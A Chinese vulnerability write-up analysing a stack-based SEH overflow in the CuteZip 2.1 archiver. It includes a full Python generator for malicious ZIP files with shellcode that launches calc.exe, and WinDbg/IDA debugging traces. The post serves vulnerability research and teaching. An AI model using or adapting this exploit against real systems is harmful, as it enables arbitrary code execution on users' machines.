CuteZip 2.1代码执行漏洞(Marry Xmas!)

作者:k0shl 转载请注明出处:http://whereisk0shl.top

不知道大家昨天平安夜过的怎么样,圣诞节到了,祝大家圣诞节快乐!


漏洞说明


cutezip是一个解压的工具,如果我构造特殊的压缩包,在解压的时候会由于处理产生问题,会导致代码执行。所以是一个比较典型也是比较有意思的漏洞。

软件下载:
https://www.exploit-db.com/apps/4920b346554df70d90bc9853b3e45229-cutezip20b.exe

PoC:

#!/usr/bin/python
# coding=utf-8
# 作者:k0sh1
import sys
import getopt

#帮助信息
def myhelp(arg):
    print "[-]Usage:%s [Option] [Param]"%arg
    print "[-]Example:"
    print "%s -v test.zip"%arg
    print "%s -a exp.zip"%arg

#生成poc文件
def CuteZip_verify(filename):
    try:
        ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
        "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xe4\x0f"
        "\x00\x00\x00")
        cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
        "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xe4\x0f"
        "\x00\x00\x00\x00\x00\x00\x01\x00"
        "\x24\x00\x00\x00\x00\x00\x00\x00")
        eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
        "\x00\x01\x00\x01\x00"
        "\x12\x10\x00\x00"
        "\x02\x10\x00\x00"
        "\x00\x00")
        #构造poc文件
        payload = '\x41'*4064 + ".txt"
        poc = ldf_header + payload + cdf_header + payload + eofcdf_header
        #打开用户定义文件
        f = open(filename,'w')
        f.write(poc)
        #写入后保存
        print "Create %s success!"%filename
        f.close()
    except Exception,e:
        print e
        print "Create %s failure!"%filename

#生成攻击文件
def CuteZip_attack(filename):
    try:
        ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
        "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xe4\x0f"
        "\x00\x00\x00")
        cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
        "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xe4\x0f"
        "\x00\x00\x00\x00\x00\x00\x01\x00"
        "\x24\x00\x00\x00\x00\x00\x00\x00")
        eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
        "\x00\x01\x00\x01\x00"
        "\x12\x10\x00\x00"
        "\x02\x10\x00\x00"
        "\x00\x00")
        #构造poc文件
        payload = "\x41" * 1148
        #seh point
        nseh = "\xeb\x07\x90\x90"
        seh = "\x2F\x11\x40\x00"
        egg = "\x41" * 2
        egg += "\x61\x61\x61\x51\x58\xFF\xD0"

        shellcode = "\x41" * 123

        shellcode +=("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x8d\x15\x86\x7c\xff\xd3\x31\xc0"
        "\x50\xbb\xea\xcd\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
        "\x63\x2e\x65\x78\x65\x00")

        #补充数据
        junk = "\x42" * (4064-len(payload+nseh+seh+egg+shellcode))
        payload = payload+nseh+seh+egg+shellcode+junk
        #构造payload
        payload = payload +".txt"
        Exploit = ldf_header+payload+cdf_header+payload+eofcdf_header
        #打开用户定义文件
        f = open(filename,'w')
        f.write(Exploit)
        #写入后保存
        print "Create %s success!"%filename
        f.close()
    except Exception,e:
        print e
        print "Create %s failure!"%filename

#主函数
def main():
    try:
        options,args = getopt.getopt(sys.argv[1:],"hv:a:")
    except getopt.GetoptError:
        print "[-]See help '-h'"
        sys.exit()
    for name,value in options:
        if name in ("-h"):
            #显示帮助
            myhelp(sys.argv[0:])
        if name in ("-v"):
            #生成poc文件
            CuteZip_verify(value)
        if name in ("-a"):
            #生成attack文件
            CuteZip_attack(value)

if __name__ == '__main__':
main()

调试环境:
Windows xp sp3
Windbg
IDA pro

用我的PoC吧,在生成一个压缩包之后,通过cutezip来解压,命令行输入命令就可以引发漏洞了,具体输入命令在我的漏洞分析中有写。


漏洞复现


我提交了一份可用的poc,通过命令

cutezip.py -v test.zip

可以生成一个带有漏洞的样本,加载CuteZip.exe,程序崩溃,附加windbg,到达漏洞触发的现场。

0:004> g
(67c.1e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=028cfccb ecx=000002b7 edx=00000000 esi=0182f536 edi=028d0000
eip=0047cc50 esp=028cfa24 ebp=028cfa2c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
*** WARNING: Unable to verify checksum for C:\Program Files\GlobalSCAPE\CuteZIP\CuteZip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GlobalSCAPE\CuteZIP\CuteZip.exe
CuteZip+0x7cc50:
0047cc50 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:028d0000=jQuery214047812523995526135_1452926713836?????? ds:0023:0182f536=41414141

可以看到敏感指令rep movs,其实如果经常调试漏洞的话,这里是一个敏感的操作,涉及到内存拷贝,其实这里就是一个strcpy操作,那么我们来看一下esi指针的值。

0:003> dd esi
0182f536  41414141 41414141 41414141 41414141
0182f546  41414141 41414141 41414141 41414141
0182f556  41414141 41414141 41414141 41414141
0182f566  41414141 41414141 41414141 41414141
0182f576  41414141 41414141 41414141 41414141
0182f586  41414141 41414141 41414141 41414141
0182f596  41414141 41414141 41414141 41414141
0182f5a6  41414141 41414141 41414141 41414141

重新回到poc中,我们可以看到poc中的确存在大量的A,那么可以猜想是对大量畸形字符串的读取出现了问题,导致了指针被覆盖,从而使拷贝出现异常,而利用超常字符的覆盖,可以控制seh指针,达到执行任意代码的目的。


漏洞分析


首先我们来看一下漏洞触发前后的代码上下文。

.text:0047CC40 LeadUp3_0:                              ; DATA XREF: _memcpy_0+6Co
.text:0047CC40                 and     edx, ecx
.text:0047CC42                 mov     al, [esi]
.text:0047CC44                 mov     [edi], al
.text:0047CC46                 inc     esi
.text:0047CC47                 shr     ecx, 2
.text:0047CC4A                 inc     edi
.text:0047CC4B                 cmp     ecx, 8
.text:0047CC4E                 jb      short loc_47CBDC
.text:0047CC50                 rep movsd

可以看到,漏洞函数代码,处于LeadUp3_0这个分之中,这样我们可以回溯这个函数的入口点。

; void *__cdecl memcpy_0(void *, const void *, size_t)
_memcpy_0 proc near

arg_0= dword ptr  8
arg_4= dword ptr  0Ch
arg_8= dword ptr  10h

push    ebp
mov     ebp, esp
push    edi

其实这里可以看到,调用函数被命名名为memcpy_0,其实memcpy被重写了,通过这段位代码分析,我们可以发现,事实上esi就是传入的第二个要拷贝参数的指针,只是这处指针被覆盖了,从而导致地址读取失败。

接下来我们来看一下堆栈调用情况。

0:003> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
028cfa2c 0047a648 028cfccb 0182f201 00000e11 CuteZip+0x7cc50
028cfa50 0047a5d3 00000e11 00000001 00000fe4 CuteZip+0x7a648
028cfa70 00464660 028cfaf8 00000001 00000fe4 CuteZip+0x7a5d3
028cfa74 028cfaf8 00000001 00000fe4 004f7110 CuteZip+0x64660

我们关注第一个函数的回溯点

.text:0047A63F                 push    edi             ; size_t
.text:0047A640                 push    dword ptr [esi] ; void *
.text:0047A642                 push    ebx             ; void *
.text:0047A643                 call    _memcpy_0
.text:0047A648                 sub     [ebp+arg_0], edi

可以看到这里时标准的memcpy调用,实际上重写函数的功能差不多,我们就在0047A643下个断点,重启函数跟踪一下。

0:005> bp 0047a643
0:005> g
Breakpoint 0 hit
eax=00000fff ebx=0012d495 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012d434 ebp=0012d450 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
CuteZip+0x7a643:
0047a643 e838250000      call    CuteZip+0x7cb80 (0047cb80)

0:000> dd poi(esi)
0182f201  1404034b 00000000 ceacb700 00000034
0182f211  00000000 00000000 00000fe4 41414100
0182f221  41414141 41414141 41414141 41414141
0182f231  41414141 41414141 41414141 41414141

加载后我们到达漏洞现场,实际上可以看到,此时esi中存放的值并不是41414141,而是一个可读的指针地址,证明此时还没有被覆盖,因此我们按g继续执行,通过此类方法,一直执行到esi被畸形字符串覆盖的那一刻。

0:000> g
Breakpoint 0 hit
eax=00000fff ebx=0012d495 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012d434 ebp=0012d450 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
CuteZip+0x7a643:
0047a643 e838250000      call    CuteZip+0x7cb80 (0047cb80)

0:000> dd poi(esi)
0182f201  1404034b 00000000 ceacb700 00000034
0182f211  00000000 00000000 00000fe4 41414100
0182f221  41414141 41414141 41414141 41414141

0:000> g
Breakpoint 0 hit
eax=00000fff ebx=0012ca15 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012c9b4 ebp=0012c9d0 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
CuteZip+0x7a643:
0047a643 e838250000      call    CuteZip+0x7cb80 (0047cb80)

0:003> g
Breakpoint 0 hit
eax=000001d2 ebx=028cfaf8 ecx=00000fe4 edx=01828510 esi=004f7110 edi=000001d2
eip=0047a643 esp=028cfa34 ebp=028cfa50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
CuteZip+0x7a643:
0047a643 e838250000      call    CuteZip+0x7cb80 (0047cb80)
0:003> dd poi(esi)
0182f22e  41414141 41414141 41414141 41414141
0182f23e  41414141 41414141 41414141 41414141
0182f24e  41414141 41414141 41414141 41414141
0182f25e  41414141 41414141 41414141 41414141

经过计算,在6次之后,到达了漏洞触发的现场,esi已经被畸形字符串覆盖了,这样我们还是需要分析为什么会执行六次,而不是一次到达,以及为什么esi会被覆盖。

首先我们来观察一下调用memcpy_0函数的现场

size_t __cdecl fread(void *a1, size_t a2, size_t a3, FILE *a4)
{
  size_t v4; // edi@1
  _BYTE *v5; // ebx@1
  unsigned int v6; // ecx@1
  FILE *v8; // esi@3
  unsigned int v9; // eax@8
  size_t v10; // edi@9
  unsigned int v11; // eax@13
  int v12; // eax@15
  int v13; // eax@18
  char *v14; // [sp+18h] [bp+8h]@1
  unsigned int v15; // [sp+24h] [bp+14h]@4

  v4 = a3 * a2;
  v5 = a1;
  v6 = a3 * a2;
  v14 = (char *)(a3 * a2);
  if ( !(a3 * a2) )
    return 0;
  v8 = a4;
  if ( a4->_flag & 0x10C )
    v15 = a4->_bufsiz;
  else
    v15 = 4096;
  while ( 1 )
  {
    if ( v8->_flag & 0x10C )
    {
      v9 = v8->_cnt;
      if ( v9 )
      {
        v10 = v6;
        if ( v6 >= v9 )
          v10 = v8->_cnt;
        memcpy_0(v5, v8->_ptr, v10);
        v14 -= v10;
        v8->_cnt -= v10;
        v8->_ptr += v10;
        v5 += v10;
        v4 = a3 * a2;
        goto LABEL_20;
      }
    }

可以看到,这里调用了一个v8指针,这个指针是一个FILE指针,而根据我的猜测,FILE也是一个自定义的结构体指针,不管它是不是,我们都能分析出这个指针的结构,可以通过对比以下指令对应到结构体中。

test    word ptr [esi+0Ch], 10Ch
mov     eax, [esi+18h] 
mov     eax, [esi+4]
push    dword ptr [esi]

这四个指令不是连续指令,只是筛选出来和结构体有关,这样我们可以构造以下这个结构体的定义

struct FILE
{
    _ptr +0x0
    _cnt +0x4
    _flag +0x0c
    _bufsize +0x18
}

可以看到外层函数fread也是一个重写的函数,而漏洞位置就出现在FILE *this中。

我们在fread下断点,重新跟踪,发现结果和之前对memcpy差不多,其实此时,我们需要再次往外层函数跟踪,终于发现了漏洞触发的关键函数。

int __thiscall sub_464400(void *this, int a2, int a3)

这个函数里多个函数调用了fread,其中最关键的在于最后一次调用

        v31 = (FILE *)*((_DWORD *)v3 + 4);
        if ( sub_47A5B6(&v43, 1u, 0x2Eu, v31) == 46 )
          goto LABEL_30;

在这个调用中v31作为指针被赋予了41414141,我们在第五次调用的时候下断点,通过gu执行到返回,单步跟踪查看sub_464400的内容。

0:003> p
eax=00000fe4 ebx=00000000 ecx=0000001f edx=00a5d1e0 esi=00000fe4 edi=028cfaf8
eip=00464653 esp=028cfa88 ebp=01828a50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
CuteZip+0x64653:
00464653 8b5510          mov     edx,dword ptr [ebp+10h] ss:0023:01828a60=004f7110
0:003> dd ebp
01828a50  004d48b8 004d0101 00a5ea98 00a57df8
01828a60  004f7110 0000202a 00daf0b0 00daf6d0
01828a70  00da1000 00de1140 00de10f0 00de1110
01828a80  00de10b0 00de1bc0 00000000 00000001
01828a90  00da0000 00de0000 00000000 00000000
01828aa0  000b0017 0108017e 004da948 00a50178
01828ab0  00000000 00000000 00000000 00000000
01828ac0  00000000 00000000 00000000 00000000
0:003> dd poi(ebp+10)
004f7110  0182f1e6 000001d2 0182f1b8 00000009
004f7120  00000003 00000000 00001000 00000000
004f7130  00000000 00000000 00000000 00000000
004f7140  00000000 00000000 00000000 00000000
004f7150  00000000 00000000 00000000 00000000
004f7160  00000000 00000000 00000000 00000000
004f7170  00000000 00000000 00000000 00000000
004f7180  00000000 00000000 00000000 00000000
0:003> dd 0182f1e6
0182f1e6  41414141 41414141 41414141 41414141
0182f1f6  41414141 41414141 41414141 41414141
0182f206  41414141 41414141 41414141 41414141
0182f216  41414141 41414141 41414141 41414141
0182f226  41414141 41414141 41414141 41414141
0182f236  41414141 41414141 41414141 41414141
0182f246  41414141 41414141 41414141 41414141
0182f256  41414141 41414141 41414141 41414141

可以看到这一步的赋值,导致了畸形字符串交给了file结构体,而file结构体对应ptr位置被超长字符串覆盖成了41414141,从而导致了问题的发生。

Comments
Write a Comment
  • 1195011908 reply

    ```

    0047CC50 . F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]

    ```

    我查到的第一次出现异常是在此处拷贝出现的问题,在不断拷贝的时候edi指向的栈地址超过了栈底,导致了异常。不知道是不是因为我是拖入程序分析而不是使用open选项打开程序分析的缘故。当edi值为0x2550000时则超过了栈底。

    • k0shl reply

      @1195011908 调试环境等因素是可能导致崩溃时回溯的差异的,你说的这种情况也是有可能的,这种情况下你可以尝试减少payload部分的长度,再尝试尝试

      • 1195011908 reply

        @k0shl 好的,谢谢师傅指点